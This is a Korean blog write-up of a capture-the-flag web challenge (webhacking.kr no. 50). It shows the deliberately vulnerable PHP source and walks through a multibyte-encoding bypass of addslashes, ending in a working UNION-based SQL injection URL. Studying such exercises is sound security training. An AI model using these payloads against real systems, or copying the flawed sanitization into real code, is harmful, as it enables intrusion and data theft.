문제 소스를 봅시다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 |
<?php include "../../config.php" ; if ( $_GET [ 'view_source' ]) view_source(); ?> < html > < head > < title >Challenge 50</ title > </ head > < body > < h1 >SQL INJECTION</ h1 > < form method = get > id : < input name = id value = 'guest' >< br > pw : < input name = pw value = 'guest' >< br > < input type = submit > < input type = reset > </ form > <?php if ( $_GET [ 'id' ] && $_GET [ 'pw' ]){ $db = dbconnect (); $_GET [ 'id' ] = addslashes ( $_GET [ 'id' ]); $_GET [ 'pw' ] = addslashes ( $_GET [ 'pw' ]); $_GET [ 'id' ] = mb_convert_encoding( $_GET [ 'id' ], 'utf-8' , 'euc-kr' ); foreach ( $_GET as $ck ) if (preg_match( "/from|pw|\(|\)| |%|=|>|</i" , $ck )) exit (); if (preg_match( "/union/i" , $_GET [ 'id' ])) exit (); $result = mysqli_fetch_array (mysqli_query( $db , "select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')" )); if ( $result ){ if ( $result [ 'lv' ]==1) echo ( "level : 1<br><br>" ); if ( $result [ 'lv' ]==2) echo ( "level : 2<br><br>" ); } if ( $result [ 'lv' ]== "3" ) solve(50); if (! $result ) echo ( "Wrong" ); } ?> < hr >< a href=./? view_source = 1 >view-source</ a > </ body > </ html > |
id와 pw에 addslashes가 붙어 있는데 mb_convert_encoding과 쌍을 이루는 건 id입니다.
일단 id에는 %af 처럼 멀티바이트를 먹일 수 있습니다.
다만 그 이외의 필터링이 조금 빡셉니다.
꺽쇠와 equal 표시가 다 안 되고, 소괄호도 막혀 있어 함수를 사용할 수도 없습니다.
처음에는 like로 우회가 가능했습니다.
그.러.나.
?id=%af%5c&pw=||lv%09like%093%23 이와 같이 우회를 했을 때 like 1, like 2일 때는 잘 출력되지만 3일 경우는 출력되지 않습니다.
여기서는 따로 3이라는 값이 없는 것으로 생각됩니다.
여기서 union을 preg_match로 막아두었던 것은 id 파라미터뿐이고, pw에는 막지 않았었네요.
https://webhacking.kr/challenge/web-25/?id=%af%5c&pw=||0%09union%09select%093%23
'WARGAMES > webhacking.kr - old' 카테고리의 다른 글
Webhacking.kr_No49(300) - old (0) | 2020.01.15 |
---|---|
Webhacking.kr_No48(350) - old (0) | 2020.01.15 |
Webhacking.kr_No47(150) - old (0) | 2020.01.15 |
Webhacking.kr_No46(300) - old (0) | 2020.01.15 |
Webhacking.kr_No45(550) - old (0) | 2020.01.13 |
Webhacking.kr_No44(250) - old (0) | 2020.01.13 |
Webhacking.kr_No43(250) - old (0) | 2020.01.08 |
Webhacking.kr_No42(200) - old (0) | 2020.01.08 |